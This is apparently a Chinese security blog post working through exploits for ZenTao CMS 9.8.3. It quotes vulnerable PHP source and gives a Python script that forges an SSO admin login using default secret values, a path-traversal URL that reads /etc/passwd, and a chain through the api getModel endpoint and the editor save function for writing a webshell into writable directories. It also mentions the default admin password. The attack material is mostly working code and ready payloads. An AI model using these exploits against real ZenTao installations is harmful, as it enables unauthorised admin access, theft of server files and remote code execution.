0x01 前言 平时不好好学习的结果就是到学期末所有的事情都堆到一起,上博客一看,又将近两个月没更新了,抓紧出两篇刷刷存在感。。。近期跟禅道这个cms打了几次交道,从中学到了几个很骚的思路,在这里记录一下。
0x02 漏洞 测试环境使用当前开源版的最新版本9.8.3:http://www.zentao.net/download/80072.html 
2.1  登陆后台 由于禅道几乎所有的操作都需要登陆后台,所以我们第一步就是要获取后台权限,这里有几个方法。
2.1.1 后台弱口令 禅道后台管理员admin的密码默认为123456,但是登陆后台后如果检测到密码强度过低的话,所有页面都会重定向到改密码的页面,强制修改密码,否则无法进行其他操作。
2.1.2 9.2.1版本一处前台注入 柠檬师傅的详细分析 在这里,不班门弄斧了。
2.1.3 sso单点登陆 这是比较骚的一个思路,可以不用登陆直接获取admin权限。
module/sso/control.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public  function  login ($type  = 'notify'         $referer  = empty ($_GET ['referer' ]) ? ''  : $this ->get->referer;         $locate   = empty ($referer ) ? getWebRoot () : base64_decode ($referer );         $this ->app->loadConfig ('sso' );         if (!$this ->config->sso->turnon) die ($this ->locate ($locate ));         $userIP  = $this ->server->remote_addr;           $code    = $this ->config->sso->code;          $key     = $this ->config->sso->key;                   if ($this ->get->status == 'success'  and  md5 ($this ->get->data) == $this ->get->md5)         {             $last  = $this ->server->request_time;             $data  = json_decode (base64_decode ($this ->get->data));             $token  = $data ->token;             if ($data ->auth == md5 ($code  . $userIP  . $token  . $key ))             {                 $user  = $this ->sso->getBindUser ($data ->account);                 if (!$user )                 {                     $this ->session->set ('ssoData' , $data );                     $this ->locate ($this ->createLink ('sso' , 'bind' , "referer="  . helper::safe64Encode ($locate )));                 }                 if ($this ->loadModel ('user' )->isLogon ())                 {                     if ($this ->session->user && $this ->session->user->account == $user ->account) die ($this ->locate ($locate ));                 }                 $this ->user->cleanLocked ($user ->account);                                               }         }         $this ->locate ($this ->createLink ('user' , 'login' , empty ($referer ) ? ''  : "referer=$referer " )); } 
这里有几步验证,一步一步看。
需要status参数为success,并且data参数的md5值要与md5参数相同。
data进行base64解码和json_decode之后,auth需要与md5($code . $userIP . $token . $key)相同。
这里code、key在数据库中,是一个默认值,一般不会修改。token是data的元素,可控。
 
接下来就是绑定用户,验证,把认证信息存入session。附上生成url的代码,会更直观一点。
1 2 3 4 5 6 7 8 9 10 11 12 13 import  hashlibimport  base64import  jsondef  md5 (str     md5 = hashlib.md5()     md5.update(str .encode('utf-8' ))     return  md5.hexdigest() auth = md5('T6C5mypd2ZchLK0vAN9oz4YqP'  + '192.168.250.1'  + ''  + 'vyoQHt5r8MD6bPksSwGmcd3gz' ) data = base64.b64encode(json.dumps({"token" :"" ,"auth" :auth,"account" :"admin" })) login_url = 'http://192.168.250.133:8000/www/index.php?m=sso&f=login&type=return&aHR0cDovL2hhY2tlZC5sb2wv&data=%s&status=success&md5=%s&'  % (data, md5(data)) print (login_url)
2.2 任意文件读取 module/editor/control.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public  function  edit ($filePath  = '' , $action  = '' , $isExtends  = ''     $this ->view->safeFilePath = $filePath ;     $fileContent   = '' ;     if ($filePath )     {         $filePath  = helper::safe64Decode ($filePath );         if (strpos (strtolower ($filePath ), strtolower ($this ->app->getBasePath ())) !== 0 ) die ($this ->lang->editor->editFileError);         if ($action  == 'extendOther'  and  file_exists ($filePath ))         {             $this ->view->showContent = htmlspecialchars (file_get_contents ($filePath ));         }         if ($action  == 'edit'  or  $action  == 'override' )         {             if (file_exists ($filePath ))             {                 $fileContent  = file_get_contents ($filePath );                 if ($action  == 'override' )                 {                     $fileContent  = str_replace ('../../' , '../../../' , $fileContent );                     $fileContent  = str_replace (array ('\'./' , '"./' ), array ('\'../../view/' , '"../../view' ), $fileContent );                 }             }             else              {                 $filePath  = '' ;             }         }              }     $this ->view->fileContent = $fileContent ;     $this ->view->filePath    = $filePath ;     $this ->view->action      = $action ;     $this ->display (); } 
首先将filePath进行base64解码,然后做了一个判断。
1 if (strpos (strtolower ($filePath ), strtolower ($this ->app->getBasePath ())) !== 0 ) die ($this ->lang->editor->editFileError);
这里的$this->app->getBasePath()就是程序的根目录,如何获取到呢?
只要访问index.php?m=editor&f=edit,输入任意内容然后保存,弹出的警告就会暴露根目录。
我们只要保证filePath里有程序的根目录,比如这里的/opt/zbox/app/zentao,然后再用../跳出来即可。
之后就没有任何过滤了,访问http://192.168.250.133:8000/zentao/index.php?m=editor&f=edit&filePath=L29wdC96Ym94L2FwcC96ZW50YW8vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==&action=edit
2.3 GetShell module/api/control.php 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  function  getModel ($moduleName , $methodName , $params  = ''     $params     = explode (',' , $params );     $newParams  = array_shift ($params );     foreach ($params  as  $param )     {         $sign  = strpos ($param , '=' ) !== false  ? '&'  : ',' ;         $newParams  .= $sign  . $param ;     }     parse_str ($newParams , $params );     $module  = $this ->loadModel ($moduleName );     $result  = call_user_func_array (array (&$module , $methodName ), $params );     if (dao::isError ()) die (json_encode (dao::getError ()));     $output ['status' ] = $result  ? 'success'  : 'fail' ;     $output ['data' ]   = json_encode ($result );     $output ['md5' ]    = md5 ($output ['data' ]);     $this ->output     = json_encode ($output );     die ($this ->output); } 
这里调用了call_user_func_array函数,模块、方法、参数都是可控的,接下的任务就是找一个可以写文件的函数。
module/editor/model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  function  save ($filePath     $fileContent  = $this ->post->fileContent;     $evils        = array ('eval' , 'exec' , 'passthru' , 'proc_open' , 'shell_exec' , 'system' , '$$' , 'include' , 'require' , 'assert' );     $gibbedEvils  = array ('e v a l' , 'e x e c' , ' p a s s t h r u' , ' p r o c _ o p e n' , 's h e l l _ e x e c' , 's y s t e m' , '$ $' , 'i n c l u d e' , 'r e q u i r e' , 'a s s e r t' );     $fileContent  = str_ireplace ($gibbedEvils , $evils , $fileContent );     if (get_magic_quotes_gpc ()) $fileContent  = stripslashes ($fileContent );     $dirPath  = dirname ($filePath );     $extFilePath  = substr ($filePath , 0 , strpos ($filePath , DS . 'ext'  . DS) + 4 );     if (!is_dir ($dirPath ) and  is_writable ($extFilePath )) mkdir ($dirPath , 0777 , true );     if (is_writable ($dirPath ))     {         file_put_contents ($filePath , $fileContent );     }     else      {         die (js::alert ($this ->lang->editor->notWritable . $extFilePath ));     } } 
 可以看到这里做了一些过滤,但是并不影响写shell。
这里有几个可写目录,一个是zentao/tmp,还有一个zentao/www/data,有的网站会配置直接访问www目录,上一级是访问不到的,所以最好将shell写入data或者其子目录中。
0x04 参考文章 从SQL注入到Getshell:记一次禅道系统的渗透